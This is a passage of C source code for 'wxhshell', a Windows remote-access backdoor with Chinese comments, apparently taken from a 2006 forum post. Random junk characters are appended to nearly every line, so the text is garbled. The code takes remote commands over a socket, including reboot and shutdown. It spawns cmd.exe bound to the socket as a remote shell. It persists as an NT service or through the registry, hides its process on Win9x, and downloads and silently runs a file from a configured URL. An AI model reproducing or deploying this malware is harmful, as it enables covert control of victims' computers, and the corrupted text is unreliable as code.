    switch(cmd[0]) { Pa<X^&  
  lH.2H  
  // 帮助 VWa(@ A  
  case '?': { Y{=@^4|]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /+msrrpD  
    break; |e\%pfZ   
  } Lw`\J|%p  
  // 安装 {J$aA6t:"T  
  case 'i': { $!Tw`O  
    if(Install()) @@jdF-Utj;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Fj(g!`  
    else 1S.~-K*X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ':3KZ4/C  
    break; 2X_ef  
    } lDeWs%n  
  // 卸载 !=:c8V  
  case 'r': { Sqs`E[G*  
    if(Uninstall()) x#D=?/~/Kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 6 ;hg #  
    else {W]jVh p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AK HH{_  
    break; g:U ul4  
    } }T,uw8?f!  
  // 显示 wxhshell 所在路径 CggEAi~  
  case 'p': { oWmla*nCKL  
    char svExeFile[MAX_PATH]; j7&l&)5  
    strcpy(svExeFile,"\n\r"); Pp2 )P7  
      strcat(svExeFile,ExeFile); N;Bal/kd2  
        send(wsh,svExeFile,strlen(svExeFile),0); 'Nh^SbD+_|  
    break; zKNk(/y  
    } `Nj|}^A  
  // 重启 Bh?;\D'YC  
  case 'b': { ,ME9<3Ac  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *C\O] r:'  
    if(Boot(REBOOT)) ~ 4a aJ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lg1Usy%  
    else { ,tZwXP{  
    closesocket(wsh); \+xsJbEV  
    ExitThread(0); 4"sP= C  
    } c'b,=SM  
    break; ~"k'T9QBY  
    } D6w0Y:A{.  
  // 关机 9\F^\h{  
  case 'd': { ry'(m M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lmb<)YY  
    if(Boot(SHUTDOWN)) \IKr+wlN8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]NCOi ?Odx  
    else { cc[w%jlA#  
    closesocket(wsh); yWzTHW`)Mr  
    ExitThread(0); &>o)7H];  
    } *D,T}N  
    break; E' Bt1 u  
    } . fIodk  
  // 获取shell H|Ems}b  
  case 's': { isjkfl-!  
    CmdShell(wsh); ]l%j>Vb!L  
    closesocket(wsh); {Fj`'0Xu;  
    ExitThread(0); @UKd0kxPN{  
    break; C1=[\c~jw  
  } (k?OYz]c  
  // 退出 cnR>)9sX  
  case 'x': { 5 F-Q&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U:Y?2$#  
    CloseIt(wsh); h>wU';5#f  
    break; L" o6)N  
    } * XJSa  
  // 离开 ydt1ED0Q-  
  case 'q': { +~-|( y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DcOLK\  
    closesocket(wsh); hXCDlCO  
    WSACleanup(); D)Zv  
    exit(1); .qZ<ROZ  
    break; b|NEU-oy  
        } Y3[@(  
  } + '`RJ,K+[  
  } CVm*Q[5s"  
R:Lu)d>=  
  // 提示信息 9cLKb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M0|z^2  
} _#+i;$cO-X  
  } 'Gk|&^  
W;=ZQ5Lw  
  return; &b_duWs  
} "k.<"pf  
jzQgD ed ]  
// shell模块句柄 6vDgM fw  
int CmdShell(SOCKET sock) E~B LY{3:  
{ KnuqU2< {  
STARTUPINFO si; [(C lvGx  
ZeroMemory(&si,sizeof(si)); KLX>QR@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }5K\ l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iY="M_kQ_  
PROCESS_INFORMATION ProcessInfo; [lf[J&}X  
char cmdline[]="cmd"; m\(a{x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w"~T5%p  
  return 0; hYLu   
} H_{Yr+p  
,D8 Tca\v  
// 自身启动模式 FX{Sb"  
int StartFromService(void) /O9z-!Jz  
{ aa|xZ  
typedef struct Pu=YQ #F'  
{ J? C"be=  
  DWORD ExitStatus; K$4Ky&89  
  DWORD PebBaseAddress; =_5-z|<  
  DWORD AffinityMask; [Mx+t3M  
  DWORD BasePriority; p|zW2L  
  ULONG UniqueProcessId; x`4">:IA  
  ULONG InheritedFromUniqueProcessId; e. [h  
}   PROCESS_BASIC_INFORMATION; "h "vp&A  
JH 8^ZP:d'  
PROCNTQSIP NtQueryInformationProcess; r;-\z(h  
@ Fu|et  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CGQ`i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*8$BuD  
i]P]o)  
  HANDLE             hProcess; Na4\)({  
  PROCESS_BASIC_INFORMATION pbi; Qk((H~I}  
TV}H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T a_#Rg*!  
  if(NULL == hInst ) return 0; 8{AzB8xp  
'Ag?#vB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G=DRz F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8IO4>CMkv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HM`;%0T0(  
2gA6$s7  
  if (!NtQueryInformationProcess) return 0; _T1|_9b  
&Mol8=V)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bYiaJ  
  if(!hProcess) return 0; YQ]W<0(  
env]*gx+=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jVr:O `  
=m UtBD.;  
  CloseHandle(hProcess); A," u~6Bn  
cY5h6+_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <%! EI@N  
if(hProcess==NULL) return 0; {Wt=NI?Ow  
7"1M3P5*8  
HMODULE hMod; gkDB8,C<j  
char procName[255]; f|u!?NGl  
unsigned long cbNeeded; >mz<=n  
`rvS(p[s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {q:6;yzxl  
HUZI7rC[=)  
  CloseHandle(hProcess); ^]K_k7`I  
,#nyEE  
if(strstr(procName,"services")) return 1; // 以服务启动 5-*/wKjLz  
Vf0m7BJc3  
  return 0; // 注册表启动 }5EvBEv-)  
} _qr?v=,-A  
s_/ CJ6s  
// 主模块 rOX\rI%0+  
int StartWxhshell(LPSTR lpCmdLine) !Eu}ro.}  
{ 04o(05K  
  SOCKET wsl; *4]}_ .rG#  
BOOL val=TRUE; I=0`xF|4K-  
  int port=0; D/v?nW  
  struct sockaddr_in door; NSZ9M%7  
W;Ct[Y 8m  
  if(wscfg.ws_autoins) Install(); $/K<hT_  
?g}G#j  
port=atoi(lpCmdLine); ,VI2dNst\  
6YNd;,it>p  
if(port<=0) port=wscfg.ws_port; L\a G.\  
}get e'I  
  WSADATA data; r[K%8Y8`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W|4:3 c4  
R10R,*6>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vr"O9L w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0 *2^joUv  
  door.sin_family = AF_INET; ]v=A}}kS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PY[nnoF"|  
  door.sin_port = htons(port); 0l;TZf=H  
P`^nNX]x+,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kZ$2Uss  
closesocket(wsl); @cukoLAn  
return 1; ]V^ >aUlj  
} HQX.oW  
 Z/RSZ-  
  if(listen(wsl,2) == INVALID_SOCKET) { s^#B*  
closesocket(wsl); #ozui-u>  
return 1; n&1q*  
} NYw>Z>TD8c  
  Wxhshell(wsl); g=n{G@*N  
  WSACleanup(); ^M0  
]jjHIFX  
return 0; zc K`hS  
{u~JR(C:  
} ]lqLC  
9(6f:D  
// 以NT服务方式启动 3N257]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lcb5^e?'Q  
{ Y7BmW+  
DWORD   status = 0; gamE^Ee  
  DWORD   specificError = 0xfffffff; a`I \19p]  
X lLG/N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _0}u0fk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ogv9_ X8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >e>%AMzo[  
  serviceStatus.dwWin32ExitCode     = 0; m~04I~8vk  
  serviceStatus.dwServiceSpecificExitCode = 0; F/V -@SF  
  serviceStatus.dwCheckPoint       = 0; Z-:T')#Cf  
  serviceStatus.dwWaitHint       = 0; "zj[v1K9-A  
V_zU?}lZ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V/`vX;%  
  if (hServiceStatusHandle==0) return; jh(T?t$&  
jIEntk  
status = GetLastError(); 7>"dc+Fg  
  if (status!=NO_ERROR) /g$G G9  
{ L>LIN 1A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r3  qKT  
    serviceStatus.dwCheckPoint       = 0; PzOnS   
    serviceStatus.dwWaitHint       = 0; ;6:9EEd  
    serviceStatus.dwWin32ExitCode     = status; bMn)lrsX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?8N^jjG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SSxp!E'  
    return; ,.Lwtp,n  
  } ;.'?(iEB  
9TX2h0U?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  LAkBf  
  serviceStatus.dwCheckPoint       = 0; PriLV4?  
  serviceStatus.dwWaitHint       = 0; @Bds0t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4M#i_.`z  
} h+=IxF4  
":0u%E?s  
// 处理NT服务事件,比如:启动、停止 By waD?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %_."JT$v{  
{ k3K*{"z  
switch(fdwControl) q #mBNe62p  
{ eAmI~oku  
case SERVICE_CONTROL_STOP: Om^(CAp  
  serviceStatus.dwWin32ExitCode = 0; &(oA/jFQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aq)g&.dw?  
  serviceStatus.dwCheckPoint   = 0; DkX^b:D*f  
  serviceStatus.dwWaitHint     = 0; }`kiULC'=  
  { C~egF=w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? X6M8`  
  } r0!')?#Z  
  return; f0vO(@I  
case SERVICE_CONTROL_PAUSE: l^Ob60)2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 793 15A  
  break; >TMd1? ,  
case SERVICE_CONTROL_CONTINUE: }4N'as/ZO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8OKG@hc  
  break; qg{gCG  
case SERVICE_CONTROL_INTERROGATE: 7HkFDI()1  
  break; }f;WYz5  
}; :.4O Hp1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T%% 0W J  
} 9dq"x[  
}4p)UX>aWT  
// 标准应用程序主函数 Li]bU   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]!ox2m_U  
{ VwpC UW  
n&Ckfo_D  
// 获取操作系统版本 f`:GjA,J$  
OsIsNt=GetOsVer(); R\|,GZ!`+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1~t.2eUG  
]XU4nNi  
  // 从命令行安装 HdN5zl,q  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Fe[RGi+8  
-nXP<v=V  
  // 下载执行文件 (P`=9+  
if(wscfg.ws_downexe) { :h5G|^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $m;`O_-T  
  WinExec(wscfg.ws_filenam,SW_HIDE); y{/7z}d  
} 0KnL{Cj   
M^[;{p2uZ  
if(!OsIsNt) { _tJt eDRY  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]L97k(:Ib  
HideProc(); hH 5}%/vF  
StartWxhshell(lpCmdLine); TKM^  
} 4^uSW&`;/  
else E{EO9EI  
  if(StartFromService()) KJRAW]?{  
  // 以服务方式启动 & ?xR  
  StartServiceCtrlDispatcher(DispatchTable); Gsv<Rjj:  
else lhHH|~t0  
  // 普通方式启动 M#; ks9  
  StartWxhshell(lpCmdLine); g]lEG>y1R  
.6P.r}  
return 0; YZ5,K6u  
}
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只看该作者 1 发表于: 2006-10-10
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